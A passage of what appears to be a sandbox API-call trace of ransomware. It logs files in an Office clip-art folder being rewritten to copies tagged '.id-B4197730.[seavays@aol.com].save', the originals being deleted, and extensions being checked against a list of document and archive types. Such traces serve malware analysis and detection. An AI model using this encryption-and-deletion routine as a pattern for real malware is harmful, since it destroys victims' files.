lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1 [0185.906] WriteFile (in: hFile=0x558, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0xec, lpOverlapped=0x0) returned 1 [0185.906] SetEndOfFile (hFile=0x558) returned 1 [0185.906] CloseHandle (hObject=0x558) returned 1 [0185.906] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0185.907] SetEndOfFile (hFile=0x530) returned 1 [0185.911] CloseHandle (hObject=0x530) returned 1 [0185.912] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153516.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0185.913] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153516.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153516.wmf")) returned 1 [0185.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153516.WMF") returned 68 [0185.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153516.WMF") returned 68 [0185.915] lstrlenW (lpString=".doc") returned 4 [0185.915] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0185.915] lstrlenW (lpString=".docx") returned 5 [0185.915] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0185.915] lstrlenW (lpString=".pdf") returned 4 [0185.915] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0185.915] lstrlenW (lpString=".xls") returned 4 [0185.915] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0185.915] lstrlenW (lpString=".xlsx") returned 5 [0185.915] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0185.915] lstrlenW (lpString=".ppt") returned 4 [0185.915] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0185.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153516.WMF") returned 68 [0185.915] lstrlenW (lpString=".zip") returned 4 [0185.915] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0185.915] lstrlenW (lpString=".rar") returned 4 [0185.915] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0185.915] lstrlenW (lpString=".bz2") returned 4 [0185.915] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0185.915] lstrlenW (lpString=".7z") returned 3 [0185.915] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0185.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153516.WMF") returned 68 [0185.916] lstrlenW (lpString=".dbf") returned 4 [0185.916] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0185.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153516.WMF") returned 68 [0185.916] lstrlenW (lpString=".1cd") returned 4 [0185.916] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0185.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153516.WMF") returned 68 [0185.916] lstrlenW (lpString=".jpg") returned 4 [0185.916] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0185.917] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x2aeff14 | out: lpFileSize=0x2aeff14*=12528) returned 1 [0185.917] CloseHandle (hObject=0x530) returned 1 [0185.917] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153518.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153518.wmf")) returned 0x220 [0185.917] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153518.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153518.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0185.918] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153518.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153518.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0186.080] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0186.080] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0186.080] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153518.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153518.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0186.707] GetLastError () returned 0x0 [0186.707] ReadFile (in: hFile=0x530, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x30f0, lpOverlapped=0x0) returned 1 [0186.709] WriteFile (in: hFile=0x374, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0x3100, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0x3100, lpOverlapped=0x0) returned 1 [0186.710] ReadFile (in: hFile=0x530, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1 [0186.710] WriteFile (in: hFile=0x374, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0xec, lpOverlapped=0x0) returned 1 [0186.710] SetEndOfFile (hFile=0x374) returned 1 [0186.710] CloseHandle (hObject=0x374) returned 1 [0186.711] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0186.711] SetEndOfFile (hFile=0x530) returned 1 [0186.715] CloseHandle (hObject=0x530) returned 1 [0186.715] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153518.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0186.716] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153518.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153518.wmf")) returned 1 [0186.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153518.WMF") returned 68 [0186.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153518.WMF") returned 68 [0186.717] lstrlenW (lpString=".doc") returned 4 [0186.717] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0186.717] lstrlenW (lpString=".docx") returned 5 [0186.717] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0186.717] lstrlenW (lpString=".pdf") returned 4 [0186.717] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0186.717] lstrlenW (lpString=".xls") returned 4 [0186.717] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0186.717] lstrlenW (lpString=".xlsx") returned 5 [0186.717] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0186.717] lstrlenW (lpString=".ppt") returned 4 [0186.717] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0186.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153518.WMF") returned 68 [0186.717] lstrlenW (lpString=".zip") returned 4 [0186.717] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0186.717] lstrlenW (lpString=".rar") returned 4 [0186.717] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0186.717] lstrlenW (lpString=".bz2") returned 4 [0186.717] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0186.718] lstrlenW (lpString=".7z") returned 3 [0186.718] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0186.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153518.WMF") returned 68 [0186.718] lstrlenW (lpString=".dbf") returned 4 [0186.718] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0186.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153518.WMF") returned 68 [0186.718] lstrlenW (lpString=".1cd") returned 4 [0186.718] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0186.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153518.WMF") returned 68 [0186.718] lstrlenW (lpString=".jpg") returned 4 [0186.718] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0186.719] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x2aeff14 | out: lpFileSize=0x2aeff14*=29406) returned 1 [0186.719] CloseHandle (hObject=0x530) returned 1 [0186.719] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0160590.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0160590.wmf")) returned 0x220 [0186.719] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0160590.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0160590.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0186.720] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0160590.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0160590.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0186.720] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0186.721] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0186.721] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0160590.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0160590.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0186.722] GetLastError () returned 0x0 [0186.722] ReadFile (in: hFile=0x530, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x72de, lpOverlapped=0x0) returned 1 [0186.725] WriteFile (in: hFile=0x374, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0x72e0, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0x72e0, lpOverlapped=0x0) returned 1 [0186.727] ReadFile (in: hFile=0x530, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1 [0186.727] WriteFile (in: hFile=0x374, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0xec, lpOverlapped=0x0) returned 1 [0186.727] SetEndOfFile (hFile=0x374) returned 1 [0186.727] CloseHandle (hObject=0x374) returned 1 [0186.727] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0186.727] SetEndOfFile (hFile=0x530) returned 1 [0186.731] CloseHandle (hObject=0x530) returned 1 [0186.731] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0160590.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0186.732] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0160590.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0160590.wmf")) returned 1 [0186.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0160590.WMF") returned 68 [0186.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0160590.WMF") returned 68 [0186.733] lstrlenW (lpString=".doc") returned 4 [0186.733] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0186.733] lstrlenW (lpString=".docx") returned 5 [0186.733] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0186.733] lstrlenW (lpString=".pdf") returned 4 [0186.733] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0186.733] lstrlenW (lpString=".xls") returned 4 [0186.733] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0186.733] lstrlenW (lpString=".xlsx") returned 5 [0186.733] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0186.733] lstrlenW (lpString=".ppt") returned 4 [0186.733] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0186.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0160590.WMF") returned 68 [0186.734] lstrlenW (lpString=".zip") returned 4 [0186.734] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0186.734] lstrlenW (lpString=".rar") returned 4 [0186.734] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0186.734] lstrlenW (lpString=".bz2") returned 4 [0186.734] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0186.734] lstrlenW (lpString=".7z") returned 3 [0186.734] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0186.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0160590.WMF") returned 68 [0186.734] lstrlenW (lpString=".dbf") returned 4 [0186.734] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0186.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0160590.WMF") returned 68 [0186.734] lstrlenW (lpString=".1cd") returned 4 [0186.734] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0186.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0160590.WMF") returned 68 [0186.734] lstrlenW (lpString=".jpg") returned 4 [0186.734] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0186.735] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x2aeff14 | out: lpFileSize=0x2aeff14*=46484) returned 1 [0186.735] CloseHandle (hObject=0x530) returned 1 [0186.736] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0164153.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0164153.jpg")) returned 0x220 [0186.736] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0164153.JPG.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0164153.jpg.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0186.736] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0164153.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0164153.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0186.737] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0186.737] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0186.737] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0164153.JPG.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0164153.jpg.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0186.738] GetLastError () returned 0x0 [0186.738] ReadFile (in: hFile=0x530, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0xb594, lpOverlapped=0x0) returned 1 [0187.015] WriteFile (in: hFile=0x374, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0xb5a0, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0xb5a0, lpOverlapped=0x0) returned 1 [0187.018] ReadFile (in: hFile=0x530, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1 [0187.018] WriteFile (in: hFile=0x374, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0xec, lpOverlapped=0x0) returned 1 [0187.018] SetEndOfFile (hFile=0x374) returned 1 [0187.019] CloseHandle (hObject=0x374) returned 1 [0187.019] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0187.019] SetEndOfFile (hFile=0x530) returned 1 [0187.026] CloseHandle (hObject=0x530) returned 1 [0187.026] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0164153.JPG.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0187.031] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0164153.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0164153.jpg")) returned 1 [0187.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0164153.JPG") returned 68 [0187.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0164153.JPG") returned 68 [0187.032] lstrlenW (lpString=".doc") returned 4 [0187.032] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0187.032] lstrlenW (lpString=".docx") returned 5 [0187.032] lstrcmpiW (lpString1=".docx", lpString2="3.JPG") returned -1 [0187.032] lstrlenW (lpString=".pdf") returned 4 [0187.032] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0187.032] lstrlenW (lpString=".xls") returned 4 [0187.032] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0187.032] lstrlenW (lpString=".xlsx") returned 5 [0187.032] lstrcmpiW (lpString1=".xlsx", lpString2="3.JPG") returned -1 [0187.032] lstrlenW (lpString=".ppt") returned 4 [0187.032] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0187.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0164153.JPG") returned 68 [0187.033] lstrlenW (lpString=".zip") returned 4 [0187.033] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0187.033] lstrlenW (lpString=".rar") returned 4 [0187.033] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0187.033] lstrlenW (lpString=".bz2") returned 4 [0187.033] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0187.033] lstrlenW (lpString=".7z") returned 3 [0187.033] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0187.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0164153.JPG") returned 68 [0187.033] lstrlenW (lpString=".dbf") returned 4 [0187.033] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0187.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0164153.JPG") returned 68 [0187.033] lstrlenW (lpString=".1cd") returned 4 [0187.033] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0187.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0164153.JPG") returned 68 [0187.033] lstrlenW (lpString=".jpg") returned 4 [0187.033] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0187.034] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x2aeff14 | out: lpFileSize=0x2aeff14*=5100) returned 1 [0187.034] CloseHandle (hObject=0x530) returned 1 [0187.034] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174639.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0174639.wmf")) returned 0x220 [0187.035] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174639.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0174639.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0187.035] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174639.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0174639.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0187.036] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0187.036] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0187.036] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174639.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0174639.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0187.038] GetLastError () returned 0x0 [0187.038] ReadFile (in: hFile=0x530, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x13ec, lpOverlapped=0x0) returned 1 [0187.040] WriteFile (in: hFile=0x374, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0x13f0, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0x13f0, lpOverlapped=0x0) returned 1 [0187.042] ReadFile (in: hFile=0x530, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1 [0187.042] WriteFile (in: hFile=0x374, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0xec, lpOverlapped=0x0) returned 1 [0187.042] SetEndOfFile (hFile=0x374) returned 1 [0187.042] CloseHandle (hObject=0x374) returned 1 [0187.042] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0187.042] SetEndOfFile (hFile=0x530) returned 1 [0187.046] CloseHandle (hObject=0x530) returned 1 [0187.046] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174639.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0187.047] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174639.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0174639.wmf")) returned 1 [0187.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174639.WMF") returned 68 [0187.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174639.WMF") returned 68 [0187.049] lstrlenW (lpString=".doc") returned 4 [0187.049] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0187.049] lstrlenW (lpString=".docx") returned 5 [0187.049] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0187.049] lstrlenW (lpString=".pdf") returned 4 [0187.049] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0187.049] lstrlenW (lpString=".xls") returned 4 [0187.049] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0187.049] lstrlenW (lpString=".xlsx") returned 5 [0187.049] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0187.049] lstrlenW (lpString=".ppt") returned 4 [0187.049] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0187.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174639.WMF") returned 68 [0187.049] lstrlenW (lpString=".zip") returned 4 [0187.049] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0187.049] lstrlenW (lpString=".rar") returned 4 [0187.049] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0187.049] lstrlenW (lpString=".bz2") returned 4 [0187.049] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0187.050] lstrlenW (lpString=".7z") returned 3 [0187.050] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0187.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174639.WMF") returned 68 [0187.050] lstrlenW (lpString=".dbf") returned 4 [0187.050] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0187.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174639.WMF") returned 68 [0187.050] lstrlenW (lpString=".1cd") returned 4 [0187.050] lstrcmpiW 